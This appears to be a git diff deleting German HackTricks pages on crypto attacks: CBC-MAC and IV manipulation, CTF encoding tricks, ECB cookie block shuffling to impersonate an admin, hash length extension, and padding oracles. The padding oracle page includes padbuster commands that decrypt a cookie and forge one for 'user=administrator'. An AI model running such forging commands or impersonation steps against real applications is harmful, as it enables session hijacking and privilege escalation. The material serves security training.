Jetzt können Sie s32 als die Signatur des vollständigen Namens **Administrator** verwenden.
|
||||
|
||||
### Zusammenfassung
|
||||
|
||||
1. Holen Sie sich die Signatur des Benutzernamens **Administ** (m1), die s1 ist
|
||||
2. Holen Sie sich die Signatur des Benutzernamens **rator\x00\x00\x00 XOR s1 XOR 0**, die s32 ist.
|
||||
3. Setzen Sie das Cookie auf s32 und es wird ein gültiges Cookie für den Benutzer **Administrator** sein.
|
||||
|
||||
# Angriff Kontrolle IV
|
||||
|
||||
Wenn Sie den verwendeten IV kontrollieren können, könnte der Angriff sehr einfach sein.\
|
||||
Wenn das Cookie nur der verschlüsselte Benutzername ist, können Sie, um den Benutzer "**administrator**" nachzuahmen, den Benutzer "**Administrator**" erstellen und Sie erhalten sein Cookie.\
|
||||
Jetzt, wenn Sie den IV kontrollieren können, können Sie das erste Byte des IV ändern, sodass **IV\[0] XOR "A" == IV'\[0] XOR "a"** und das Cookie für den Benutzer **Administrator** regenerieren. Dieses Cookie wird gültig sein, um den Benutzer **administrator** mit dem ursprünglichen **IV** nachzuahmen.
|
||||
|
||||
## Referenzen
|
||||
|
||||
Weitere Informationen unter [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,271 +0,0 @@
|
||||
# Crypto CTFs Tricks
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Online Hashes DBs
|
||||
|
||||
- _**Google es**_
|
||||
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
- [https://crackstation.net/](https://crackstation.net)
|
||||
- [https://md5decrypt.net/](https://md5decrypt.net)
|
||||
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
|
||||
- [https://gpuhash.me/](https://gpuhash.me)
|
||||
- [https://hashes.org/search.php](https://hashes.org/search.php)
|
||||
- [https://www.cmd5.org/](https://www.cmd5.org)
|
||||
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## Magic Autosolvers
|
||||
|
||||
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magisches Modul)
|
||||
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## Encoders
|
||||
|
||||
Die meisten codierten Daten können mit diesen 2 Ressourcen decodiert werden:
|
||||
|
||||
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### Substitution Autosolvers
|
||||
|
||||
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
- [https://quipqiup.com/](https://quipqiup.com) - Sehr gut!
|
||||
|
||||
#### Caesar - ROTx Autosolvers
|
||||
|
||||
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### Atbash Cipher
|
||||
|
||||
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### Base Encodings Autosolver
|
||||
|
||||
Überprüfen Sie all diese Basen mit: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
- **Ascii85**
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base26** \[_A-Z_]
|
||||
- `BQEKGAHRJKHQMVZGKUXNT`
|
||||
- **Base32** \[_A-Z2-7=_]
|
||||
- `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
- `pbzsaamdcf3gna5xptoo====`
|
||||
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
- `e1rqssc3d5t62svgejhh====`
|
||||
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
- `D1QPRRB3C5S62RVFDHGG====`
|
||||
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
- `D1NMOOB3C5P62ORFDHGG====`
|
||||
- **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
- `59DPVDGPCVKEUPCPVD`
|
||||
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
- `2yJiRg5BF9gmsU6AC`
|
||||
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
- `2YiHqF5bf9FLSt6ac`
|
||||
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
- `pyJ5RgnBE9gm17awU`
|
||||
- **Base62** \[_0-9A-Za-z_]
|
||||
- `g2AextRZpBKRBzQ9`
|
||||
- **Base64** \[_A-Za-z0-9+/=_]
|
||||
- `aG9sYWNhcmFjb2xh`
|
||||
- **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
- `NI9JKX0cSUdqhr!p`
|
||||
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `<~BQ%]q@psCd@rH0l~>`
|
||||
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
- `Xm4y`V\_|Y(V{dF>\`
|
||||
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
|
||||
- `Xm4y|V{~Y+V}dF?`
|
||||
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
- `frDg[*jNN!7&BQM`
|
||||
- **Base100** \[]
|
||||
- `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
- **Base122** \[]
|
||||
- `4F ˂r0Xmvc`
|
||||
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
- `DmPsv8J7qrlKEoY7`
|
||||
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
- `kLD8iwKsigSalLJ5`
|
||||
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
- `ayRiIo1gpO+uUc7g`
|
||||
- **ESAB46** \[]
|
||||
- `3sHcL2NR8WrT7mhR`
|
||||
- **MEGAN45** \[]
|
||||
- `kLD8igSXm2KZlwrX`
|
||||
- **TIGO3FX** \[]
|
||||
- `7AP9mIzdmltYmIP9mWXX`
|
||||
- **TRIPO5** \[]
|
||||
- `UE9vSbnBW6psVzxB`
|
||||
- **FERON74** \[]
|
||||
- `PbGkNudxCzaKBm0x`
|
||||
- **GILA7** \[]
|
||||
- `D+nkv8C1qIKMErY1`
|
||||
- **Citrix CTX1** \[]
|
||||
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Tot: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Tot: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### Morse
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Tot: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
|
||||
F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||
`
|
||||
end
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
5Hol-G2xAEE++
|
||||
end
|
||||
```
|
||||
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
-38K26%'d9J!!:
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorak-Tastatur
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
Buchstaben zu ihrem numerischen Wert
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Affine Cipher Encode
|
||||
|
||||
Buchstabe zu Zahl `(ax+b)%26` (_a_ und _b_ sind die Schlüssel und _x_ ist der Buchstabe) und das Ergebnis zurück zu Buchstabe
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS-Code
|
||||
|
||||
**Multitap** [ersetzt einen Buchstaben](https://www.dcode.fr/word-letter-change) durch wiederholte Ziffern, die durch den entsprechenden Tastencode auf einer mobilen [Telefon-Tastatur](https://www.dcode.fr/phone-keypad-cipher) definiert sind (Dieser Modus wird beim Schreiben von SMS verwendet).\
|
||||
Zum Beispiel: 2=A, 22=B, 222=C, 3=D...\
|
||||
Sie können diesen Code identifizieren, weil Sie **mehrere Zahlen wiederholt** sehen werden.
|
||||
|
||||
Sie können diesen Code entschlüsseln unter: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Bacon-Code
|
||||
|
||||
Ersetzen Sie jeden Buchstaben durch 4 As oder Bs (oder 1s und 0s)
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
### Runes
|
||||
|
||||

|
||||
|
||||
## Kompression
|
||||
|
||||
**Raw Deflate** und **Raw Inflate** (beide finden Sie in Cyberchef) können Daten ohne Header komprimieren und dekomprimieren.
|
||||
|
||||
## Einfache Krypto
|
||||
|
||||
### XOR - Autosolver
|
||||
|
||||
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
|
||||
|
||||
### Bifid
|
||||
|
||||
Ein Schlüsselwort wird benötigt.
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
### Vigenere
|
||||
|
||||
Ein Schlüsselwort wird benötigt
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## Starke Krypto
|
||||
|
||||
### Fernet
|
||||
|
||||
2 base64-Strings (Token und Schlüssel)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
|
||||
Key:
|
||||
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||
```
|
||||
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Samir Secret Sharing
|
||||
|
||||
Ein Geheimnis wird in X Teile aufgeteilt, und um es wiederherzustellen, benötigt man Y Teile (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL Brute-Force
|
||||
|
||||
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
|
||||
|
||||
## Werkzeuge
|
||||
|
||||
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
- [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,68 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# ECB
|
||||
|
||||
(ECB) Electronic Code Book - symmetrisches Verschlüsselungsschema, das **jeden Block des Klartexts** durch den **Block des Chiffretexts** **ersetzt**. Es ist das **einfachste** Verschlüsselungsschema. Die Hauptidee ist, den Klartext in **Blöcke von N Bits** zu **teilen** (abhängig von der Größe des Eingabedatenblocks, Verschlüsselungsalgorithmus) und dann jeden Block des Klartexts mit dem einzigen Schlüssel zu verschlüsseln (entschlüsseln).
|
||||
|
||||

|
||||
|
||||
Die Verwendung von ECB hat mehrere Sicherheitsimplikationen:
|
||||
|
||||
- **Blöcke aus der verschlüsselten Nachricht können entfernt werden**
|
||||
- **Blöcke aus der verschlüsselten Nachricht können verschoben werden**
|
||||
|
||||
# Erkennung der Schwachstelle
|
||||
|
||||
Stellen Sie sich vor, Sie melden sich mehrmals bei einer Anwendung an und Sie **erhalten immer dasselbe Cookie**. Das liegt daran, dass das Cookie der Anwendung **`<username>|<password>`** ist.\
|
||||
Dann generieren Sie zwei neue Benutzer, beide mit dem **gleichen langen Passwort** und **fast** dem **gleichen** **Benutzernamen**.\
|
||||
Sie stellen fest, dass die **Blöcke von 8B**, in denen die **Informationen beider Benutzer** gleich sind, **gleich** sind. Dann stellen Sie sich vor, dass dies daran liegen könnte, dass **ECB verwendet wird**.
|
||||
|
||||
Wie im folgenden Beispiel. Beachten Sie, wie diese **2 decodierten Cookies** mehrmals den Block **`\x23U\xE45K\xCB\x21\xC8`** haben.
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
|
||||
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
|
||||
```
|
||||
Dies liegt daran, dass der **Benutzername und das Passwort dieser Cookies mehrmals den Buchstaben "a" enthielten** (zum Beispiel). Die **Blöcke**, die **anders** sind, sind Blöcke, die **mindestens 1 anderes Zeichen** enthielten (vielleicht das Trennzeichen "|" oder einen notwendigen Unterschied im Benutzernamen).
|
||||
|
||||
Jetzt muss der Angreifer nur herausfinden, ob das Format `<benutzername><trennzeichen><passwort>` oder `<passwort><trennzeichen><benutzername>` ist. Um das zu tun, kann er einfach **mehrere Benutzernamen generieren** mit **ähnlichen und langen Benutzernamen und Passwörtern, bis er das Format und die Länge des Trennzeichens findet:**
|
||||
|
||||
| Benutzername Länge: | Passwort Länge: | Benutzername+Passwort Länge: | Cookie Länge (nach Dekodierung): |
|
||||
| ------------------- | ---------------- | ----------------------------- | --------------------------------- |
|
||||
| 2 | 2 | 4 | 8 |
|
||||
| 3 | 3 | 6 | 8 |
|
||||
| 3 | 4 | 7 | 8 |
|
||||
| 4 | 4 | 8 | 16 |
|
||||
| 7 | 7 | 14 | 16 |
|
||||
|
||||
# Ausnutzung der Schwachstelle
|
||||
|
||||
## Entfernen ganzer Blöcke
|
||||
|
||||
Wenn das Format des Cookies bekannt ist (`<benutzername>|<passwort>`), um den Benutzernamen `admin` zu impersonifizieren, erstelle einen neuen Benutzer namens `aaaaaaaaadmin` und hole das Cookie und dekodiere es:
|
||||
```
|
||||
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
Wir können das Muster `\x23U\xE45K\xCB\x21\xC8` sehen, das zuvor mit dem Benutzernamen erstellt wurde, der nur `a` enthielt.\
|
||||
Dann können Sie den ersten Block von 8B entfernen und Sie erhalten ein gültiges Cookie für den Benutzernamen `admin`:
|
||||
```
|
||||
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
|
||||
```
|
||||
## Blöcke verschieben
|
||||
|
||||
In vielen Datenbanken ist es dasselbe, nach `WHERE username='admin';` oder nach `WHERE username='admin ';` zu suchen _(Beachten Sie die zusätzlichen Leerzeichen)_
|
||||
|
||||
Eine weitere Möglichkeit, den Benutzer `admin` zu impersonifizieren, wäre:
|
||||
|
||||
- Generieren Sie einen Benutzernamen, der: `len(<username>) + len(<delimiter) % len(block)`. Mit einer Blockgröße von `8B` können Sie einen Benutzernamen namens: `username ` generieren, mit dem Trennzeichen `|` wird der Chunk `<username><delimiter>` 2 Blöcke von 8Bs erzeugen.
|
||||
- Dann generieren Sie ein Passwort, das eine genaue Anzahl von Blöcken ausfüllt, die den Benutzernamen enthalten, den wir impersonifizieren möchten, und Leerzeichen, wie: `admin `
|
||||
|
||||
Das Cookie dieses Benutzers wird aus 3 Blöcken bestehen: die ersten 2 sind die Blöcke des Benutzernamens + Trennzeichen und der dritte das Passwort (das den Benutzernamen fälscht): `username |admin `
|
||||
|
||||
**Ersetzen Sie dann einfach den ersten Block durch den letzten und Sie impersonifizieren den Benutzer `admin`: `admin |username`**
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,38 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# Zusammenfassung des Angriffs
|
||||
|
||||
Stellen Sie sich einen Server vor, der **Daten** **signiert**, indem er ein **Geheimnis** an einige bekannte Klartextdaten **anhängt** und dann diese Daten hasht. Wenn Sie wissen:
|
||||
|
||||
- **Die Länge des Geheimnisses** (dies kann auch aus einem gegebenen Längenbereich bruteforced werden)
|
||||
- **Die Klartextdaten**
|
||||
- **Der Algorithmus (und er ist anfällig für diesen Angriff)**
|
||||
- **Das Padding ist bekannt**
|
||||
- Normalerweise wird ein Standard verwendet, also wenn die anderen 3 Anforderungen erfüllt sind, ist dies auch der Fall
|
||||
- Das Padding variiert je nach Länge des Geheimnisses + Daten, deshalb ist die Länge des Geheimnisses erforderlich
|
||||
|
||||
Dann ist es möglich für einen **Angreifer**, **Daten** **anzuhängen** und eine gültige **Signatur** für die **vorherigen Daten + angehängte Daten** zu **generieren**.
|
||||
|
||||
## Wie?
|
||||
|
||||
Grundsätzlich generieren die anfälligen Algorithmen die Hashes, indem sie zuerst einen Block von Daten **hashen** und dann, **aus** dem **zuvor** erstellten **Hash** (Zustand), den **nächsten Block von Daten** **hinzufügen** und **hashen**.
|
||||
|
||||
Stellen Sie sich vor, das Geheimnis ist "secret" und die Daten sind "data", der MD5 von "secretdata" ist 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Wenn ein Angreifer die Zeichenfolge "append" anhängen möchte, kann er:
|
||||
|
||||
- Einen MD5 von 64 "A"s generieren
|
||||
- Den Zustand des zuvor initialisierten Hash auf 6036708eba0d11f6ef52ad44e8b74d5b ändern
|
||||
- Die Zeichenfolge "append" anhängen
|
||||
- Den Hash beenden und der resultierende Hash wird ein **gültiger für "secret" + "data" + "padding" + "append"** sein
|
||||
|
||||
## **Tool**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Referenzen
|
||||
|
||||
Sie können diesen Angriff gut erklärt finden in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,102 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
Im CBC-Modus wird der **vorherige verschlüsselte Block als IV** verwendet, um mit dem nächsten Block zu XORen:
|
||||
|
||||

|
||||
|
||||
Um CBC zu entschlüsseln, werden die **entgegengesetzten** **Operationen** durchgeführt:
|
||||
|
||||

|
||||
|
||||
Beachten Sie, dass es notwendig ist, einen **Verschlüsselungs** **schlüssel** und ein **IV** zu verwenden.
|
||||
|
||||
# Nachrichten-Padding
|
||||
|
||||
Da die Verschlüsselung in **festen** **Größen** **Blöcken** erfolgt, ist in dem **letzten** **Block** normalerweise **Padding** erforderlich, um seine Länge zu vervollständigen.\
|
||||
In der Regel wird **PKCS7** verwendet, das ein Padding erzeugt, das die **Anzahl** der **Bytes** **wiederholt**, die benötigt werden, um den Block zu **vollenden**. Zum Beispiel, wenn im letzten Block 3 Bytes fehlen, wird das Padding `\x03\x03\x03` sein.
|
||||
|
||||
Sehen wir uns weitere Beispiele mit **2 Blöcken der Länge 8 Bytes** an:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Beachten Sie, dass im letzten Beispiel der **letzte Block voll war, sodass ein weiterer nur mit Padding generiert wurde**.
|
||||
|
||||
# Padding Oracle
|
||||
|
||||
Wenn eine Anwendung verschlüsselte Daten entschlüsselt, wird sie zuerst die Daten entschlüsseln; dann wird sie das Padding entfernen. Während der Bereinigung des Paddings, wenn ein **ungültiges Padding ein erkennbares Verhalten auslöst**, haben Sie eine **Padding-Oracle-Schwachstelle**. Das erkennbare Verhalten kann ein **Fehler**, ein **Mangel an Ergebnissen** oder eine **langsamere Antwort** sein.
|
||||
|
||||
Wenn Sie dieses Verhalten erkennen, können Sie **die verschlüsselten Daten entschlüsseln** und sogar **beliebigen Klartext verschlüsseln**.
|
||||
|
||||
## Wie man ausnutzt
|
||||
|
||||
Sie könnten [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) verwenden, um diese Art von Schwachstelle auszunutzen oder einfach tun
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
Um zu testen, ob das Cookie einer Seite anfällig ist, könnten Sie Folgendes versuchen:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Encoding 0** bedeutet, dass **base64** verwendet wird (aber es sind auch andere verfügbar, siehe das Hilfemenü).
|
||||
|
||||
Sie könnten diese Schwachstelle auch **ausnutzen, um neue Daten zu verschlüsseln. Zum Beispiel, stellen Sie sich vor, der Inhalt des Cookies ist "**_**user=MyUsername**_**", dann könnten Sie ihn in "\_user=administrator\_" ändern und die Berechtigungen innerhalb der Anwendung eskalieren. Sie könnten dies auch mit `paduster` tun, indem Sie den -plaintext** Parameter angeben:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
Wenn die Seite anfällig ist, wird `padbuster` automatisch versuchen herauszufinden, wann der Padding-Fehler auftritt, aber Sie können auch die Fehlermeldung mit dem **-error** Parameter angeben.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## Die Theorie
|
||||
|
||||
In **Zusammenfassung** können Sie mit der Entschlüsselung der verschlüsselten Daten beginnen, indem Sie die richtigen Werte erraten, die verwendet werden können, um alle **verschiedenen Paddings** zu erstellen. Dann beginnt der Padding-Oracle-Angriff, Bytes vom Ende zum Anfang zu entschlüsseln, indem erraten wird, welcher der richtige Wert ist, der **ein Padding von 1, 2, 3 usw. erzeugt**.
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Stellen Sie sich vor, Sie haben einen verschlüsselten Text, der **2 Blöcke** umfasst, die aus den Bytes von **E0 bis E15** bestehen.\
|
||||
Um den **letzten** **Block** (**E8** bis **E15**) zu **entschlüsseln**, durchläuft der gesamte Block die "Blockchiffre-Entschlüsselung", die die **Zwischenbytes I0 bis I15** erzeugt.\
|
||||
Schließlich wird jedes Zwischenbyte mit den vorherigen verschlüsselten Bytes (E0 bis E7) **XORed**. Also:
|
||||
|
||||
- `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
- `C14 = I14 ^ E6`
|
||||
- `C13 = I13 ^ E5`
|
||||
- `C12 = I12 ^ E4`
|
||||
- ...
|
||||
|
||||
Jetzt ist es möglich, `E7` so zu **modifizieren**, dass `C15` `0x01` ist, was ebenfalls ein korrektes Padding sein wird. In diesem Fall: `\x01 = I15 ^ E'7`
|
||||
|
||||
Durch das Finden von E'7 ist es **möglich, I15 zu berechnen**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
